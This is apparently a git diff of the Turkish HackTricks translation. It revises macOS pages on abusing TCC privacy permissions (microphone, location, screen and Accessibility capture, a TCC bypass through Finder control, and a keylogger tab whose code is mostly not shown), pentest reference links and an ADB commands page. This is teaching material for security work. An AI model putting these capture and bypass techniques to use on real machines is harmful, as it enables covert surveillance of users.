Close the file stream ``` {% endtab %} -{% tab title="undefined" %} -Uygulamanın mikrofona erişimi olup olmadığını kontrol edin. -{% endtab %} - -{% tab title="undefined" %} +{% tab title="ObjectiveC - Kontrol" %} +Uygulamanın mikrofon erişimi olup olmadığını kontrol edin. ```objectivec #import #import @@ -588,8 +573,7 @@ static void telegram(int argc, const char **argv) { {% endtab %} {% tab title="Shell" %} -5 saniyelik bir ses kaydı yapın ve `/tmp/recording.wav` dosyasına kaydedin. - +5 saniyelik bir ses kaydedin ve `/tmp/recording.wav` dosyasına kaydedin. ```bash # Check the microphones ffmpeg -f avfoundation -list_devices true -i "" @@ -599,19 +583,18 @@ ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav {% endtab %} {% endtabs %} -#### Konum +### Konum {% hint style="success" %} -Bir uygulamanın konumu alabilmesi için, **Gizlilik ve Güvenlik** bölümünden **Konum Hizmetleri**nin etkinleştirilmiş olması gerekmektedir. Aksi takdirde, konuma erişilemez. +Bir uygulamanın konumu alabilmesi için, **Konum Servisleri** (Gizlilik ve Güvenlikten) **etkin olmalıdır,** aksi takdirde erişemez. {% endhint %} -* **Yetkilendirme**: `com.apple.security.personal-information.location` -* **TCC**: `/var/db/locationd/clients.plist` dosyasında verilmiştir +* **Yetki**: `com.apple.security.personal-information.location` +* **TCC**: `/var/db/locationd/clients.plist` içinde verildi {% tabs %} {% tab title="ObjectiveC" %} -Konumu `/tmp/logs.txt` dosyasına yazın - +Konumu `/tmp/logs.txt` içine yazın ```objectivec #include #include @@ -661,23 +644,21 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Konuma erişim sağla - +Konuma erişim elde et ``` ??? ``` {% endtab %} {% endtabs %} -#### Ekran Kaydı +### Ekran Kaydı -* **Yetkilendirme**: Yok +* **Yetki**: Yok * **TCC**: `kTCCServiceScreenCapture` {% tabs %} {% tab title="ObjectiveC" %} -Ana ekranı `/tmp/screen.mov` dosyasına 5 saniye kaydedin. - +Ana ekranı 5 saniye boyunca `/tmp/screen.mov` dosyasına kaydedin. ```objectivec #import #import @@ -734,21 +715,22 @@ freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt {% endtab %} {% tab title="Shell" %} -Ana ekranı 5 saniye boyunca kaydet. - +Ana ekranı 5 saniye boyunca kaydedin. ```bash screencapture -V 5 /tmp/screen.mov ``` {% endtab %} {% endtabs %} -#### Erişilebilirlik +### Erişilebilirlik -* **Yetkilendirme**: Yok +* **Yetki**: Yok * **TCC**: `kTCCServiceAccessibility` -Finder'ın enter tuşuna basarak kontrolünü kabul etmek ve bu şekilde TCC'yi atlamak için TCC ayrıcalığını kullanın. +Finder'ın kontrolünü kabul etmek için TCC ayrıcalığını kullanın ve bu şekilde TCC'yi atlayın. +{% tabs %} +{% tab title="TCC'yi Kabul Et" %} ```objectivec #import #import @@ -802,8 +784,7 @@ return 0; {% endtab %} {% tab title="Keylogger" %} -Basılan tuşları **`/tmp/keystrokes.txt`** dosyasında saklayın. - +Basılan tuşları **`/tmp/keystrokes.txt`** dosyasına kaydedin. ```objectivec #import #import @@ -911,19 +892,20 @@ return 0; {% endtabs %} {% hint style="danger" %} -**Erişilebilirlik çok güçlü bir izindir**, başka yollarla da istismar edebilirsiniz, örneğin Sistem Olaylarına çağrı yapmadan sadece ondan **tuş vuruşu saldırısı** yapabilirsiniz. +**Erişim, çok güçlü bir izindir**, bunu başka şekillerde kötüye kullanabilirsiniz, örneğin **tuş vuruşu saldırısını** sadece bununla gerçekleştirebilirsiniz, Sistem Olaylarını çağırmanıza gerek kalmaz. {% endhint %} +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hacklemeyi öğrenin! +HackTricks'i Destekleyin -HackTricks'i desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/misc/references.md b/misc/references.md index 51059cf22..b03b1c721 100644 --- a/misc/references.md +++ b/misc/references.md @@ -1,75 +1,14 @@ -
- -AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! - -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. - -
- - -{% embed url="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick" %} - -{% embed url="https://hausec.com/pentesting-cheatsheet/#_Toc475368982" %} - -{% embed url="https://anhtai.me/pentesting-cheatsheet/" %} - -{% embed url="https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html" %} - -{% embed url="https://ired.team/offensive-security-experiments/offensive-security-cheetsheets" %} - -{% embed url="https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html" %} - -{% embed url="https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md" %} - -{% embed url="https://anhtai.me/oscp-fun-guide/" %} - -{% embed url="https://www.thehacker.recipes/" %} - -{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings" %} - -{% embed url="https://gtfobins.github.io/" %} - -{% embed url="https://github.com/RistBS/Awesome-RedTeam-Cheatsheet" %} - -{% embed url="https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet" %} - -{% embed url="https://hideandsec.sh/" %} - -{% embed url="https://cheatsheet.haax.fr/" %} - -{% embed url="https://infosecwriteups.com/" %} - -{% embed url="https://www.exploit-db.com/" %} - -{% embed url="https://wadcoms.github.io/" %} - -{% embed url="https://lolbas-project.github.io" %} - -{% embed url="https://pentestbook.six2dez.com/" %} - -{% embed url="https://www.hackingarticles.in/" %} - -{% embed url="https://pentestlab.blog/" %} - -{% embed url="https://ippsec.rocks/" %} - +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* Şirketinizi HackTricks'te **reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**. -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/adb-commands.md b/mobile-pentesting/android-app-pentesting/adb-commands.md index 6c4154fd6..4ca832326 100644 --- a/mobile-pentesting/android-app-pentesting/adb-commands.md +++ b/mobile-pentesting/android-app-pentesting/adb-commands.md @@ -1,21 +1,20 @@ -# ADB Commands +{% hint style="success" %} +AWS Hacking'i öğrenin ve pratik yapın:[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve pratik yapın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-AWS hacklemeyi sıfırdan kahramanla öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**. -* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. +* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
+{% endhint %} + **Adb genellikle şurada bulunur:** - ```bash #Windows C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe @@ -23,41 +22,31 @@ C:\Users\\AppData\Local\Android\sdk\platform-tools\adb.exe #MacOS /Users//Library/Android/sdk/platform-tools/adb ``` +**Elde edilen bilgi:** [**http://adbshell.com/**](http://adbshell.com) -**Elde edilen bilgiler:** [**http://adbshell.com/**](http://adbshell.com) - -## Bağlantı - +# Bağlantı ``` adb devices ``` +Bu, bağlı cihazları listeleyecektir; eğer "_**yetkisiz**_" görünüyorsa, bu, **mobil** cihazınızı **açmanız** ve bağlantıyı **kabul etmeniz** gerektiği anlamına gelir. -Bu, bağlı cihazları listeleyecektir; "_**izin verilmemiş**_" görünüyorsa, bu, **mobil** cihazınızı **engellemeyi kaldırmanız** ve bağlantıyı **kabul etmeniz** gerektiği anlamına gelir. - -Bu, cihaza 5555 numaralı bağlantı noktasında adb sunucusunu başlatması gerektiğini belirtir: - +Bu, cihaza 5555 numaralı portta bir adb sunucusu başlatması gerektiğini belirtir: ``` adb tcpip 5555 ``` - -Belirtilen IP'ye ve Port'a bağlanın: - +Bu IP'ye ve bu Port'a bağlan: ``` adb connect : ``` - -Eğer bir Sanal Android yazılımında (örneğin Genymotion gibi) aşağıdaki gibi bir hata alıyorsanız: - +Eğer aşağıdaki gibi bir hata alırsanız, bir Sanal Android yazılımında (örneğin Genymotion): ``` adb server version (41) doesn't match this client (36); killing... ``` +Bağlandığınız ADB sunucusunun farklı bir sürümde olduğu için. Yazılımın kullandığı adb ikili dosyasını bulmaya çalışın ( `C:\Program Files\Genymobile\Genymotion` dizinine gidin ve adb.exe'yi arayın) -Bu, farklı bir sürümle bir ADB sunucusuna bağlanmaya çalıştığınız için olabilir. Yazılımın kullandığı adb ikilisini bulmaya çalışın (`C:\Program Files\Genymobile\Genymotion` dizinine gidin ve adb.exe dosyasını arayın). - -### Birden fazla cihaz - -**Makinenize bağlı birden fazla cihaz** bulduğunuzda, adb komutunu hangi cihazda çalıştırmak istediğinizi belirtmeniz gerekecektir. +## Birden fazla cihaz +**Makinenize bağlı olan birden fazla cihaz bulduğunuzda**, adb komutunu hangi cihazda çalıştırmak istediğinizi **belirtmeniz gerekecek**. ```bash adb devices List of devices attached @@ -70,22 +59,18 @@ adb -s 127.0.0.1:5555 shell x86_64:/ # whoami root ``` +## Port Tunneling -### Port Tünellemesi - -Eğer android cihazda **adb** **portu** sadece **localhost** üzerinden **erişilebilir** durumdaysa ve **SSH üzerinden erişiminiz varsa**, port 5555'i yönlendirebilir ve adb üzerinden bağlantı kurabilirsiniz: - +Eğer **adb** **portu** yalnızca android cihazda **localhost** üzerinden **erişilebilir** ise ama **SSH üzerinden erişiminiz varsa**, **port 5555'i yönlendirebilir** ve adb üzerinden bağlanabilirsiniz: ```bash ssh -i ssh_key username@10.10.10.10 -L 5555:127.0.0.1:5555 -p 2222 adb connect 127.0.0.1:5555 ``` +# Paket Yöneticisi -## Paket Yöneticisi - -### Yükleme/Kaldırma - -#### adb install \[seçenek] \ +## Kurulum/Kaldırma +### adb install \[seçenek] \ ```bash adb install test.apk @@ -101,45 +86,17 @@ adb install -d test.apk # allow version code downgrade adb install -p test.apk # partial application install ``` - -#### adb uninstall \[seçenekler] \ - -Bu komut, belirtilen Android uygulamasını kaldırmak için kullanılır. - -**Seçenekler:** - -* **-k**: Uygulamanın veri ve önbellekelerini korurken kaldırır. -* **--user \**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır. -* **--all-users**: Tüm kullanıcıların uygulamalarını kaldırır. -* **--keep-data**: Uygulamanın veri ve önbellekelerini korurken kaldırır. -* **--version-code \**: Belirli bir sürüm koduna sahip uygulamayı kaldırır. -* **--user \**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır. -* **-r**: Uygulamayı kaldırırken kullanıcı verilerini ve önbellekelerini siler. -* **-s**: Sadece sistem uygulamalarını kaldırır. -* **-f**: Güncelleme paketini zorla kaldırır. -* **--user \**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır. -* **--user \**: Belirli bir kullanıcının uygulamasını kaldırır. Varsayılan olarak, mevcut kullanıcının uygulaması kaldırılır. - -**Örnekler:** - -```bash -adb uninstall com.example.app -adb uninstall -k com.example.app -adb uninstall --user 0 com.example.app -``` - +### adb uninstall \[options] \ ```bash adb uninstall com.test.app adb uninstall -k com.test.app Keep the data and cache directories around after package removal. ``` +## Paketler -### Paketler - -Tüm paketleri yazdırır, isteğe bağlı olarak sadece paket adında \ metnini içerenleri. - -#### adb shell pm list packages \[seçenekler] \ +Tüm paketleri yazdırır, isteğe bağlı olarak yalnızca \ metnini içeren paket adlarına sahip olanları. +### adb shell pm list packages \[options] \ ```bash adb shell pm list packages @@ -159,55 +116,43 @@ adb shell pm list packages -u #Also include uninstalled packages. adb shell pm list packages --user #The user space to query. ``` +### adb shell pm path \ -#### adb shell pm path \ - -Verilen \in APK dosyasının yolunu yazdırır. - +Verilen APK'nın yolunu yazdırır. ```bash adb shell pm path com.android.phone ``` - -#### adb shell pm clear \ +### adb shell pm clear \ Bir paketle ilişkili tüm verileri siler. - ```bash adb shell pm clear com.test.abc ``` +# Dosya Yöneticisi -## Dosya Yöneticisi - -#### adb pull \ \[yerel] - -Bir emülatör/cihazdan belirtilen bir dosyayı bilgisayarınıza indirin. +### adb pull \ \[local] +Belirtilen bir dosyayı bir emülatörden/cihazdan bilgisayarınıza indirin. ```bash adb pull /sdcard/demo.mp4 ./ ``` +### adb push \ \ -#### adb push \ \ - -Bilgisayarınızdan belirtilen bir dosyayı bir emülatöre/cihaza yükler. - +Belirtilen bir dosyayı bilgisayarınızdan bir emülatöre/cihaza yükleyin. ```bash adb push test.apk /sdcard ``` +# Screencapture/Screenrecord -## Ekran Görüntüsü Alma/Ekran Kaydı - -#### adb shell screencap \ - -Bir cihazın ekran görüntüsünü alma. +### adb shell screencap \ +Bir cihaz ekranının ekran görüntüsünü almak. ```bash adb shell screencap /sdcard/screen.png ``` +### adb shell screenrecord \[options] \ -#### adb shell screenrecord \[seçenekler] \ - -Android 4.4 (API seviyesi 19) ve üzeri çalıştıran cihazların ekranını kaydetme. - +Android 4.4 (API seviyesi 19) ve üzeri çalışan cihazların ekranını kaydetme. ```bash adb shell screenrecord /sdcard/demo.mp4 adb shell screenrecord --size @@ -216,33 +161,27 @@ adb shell screenrecord --time-limit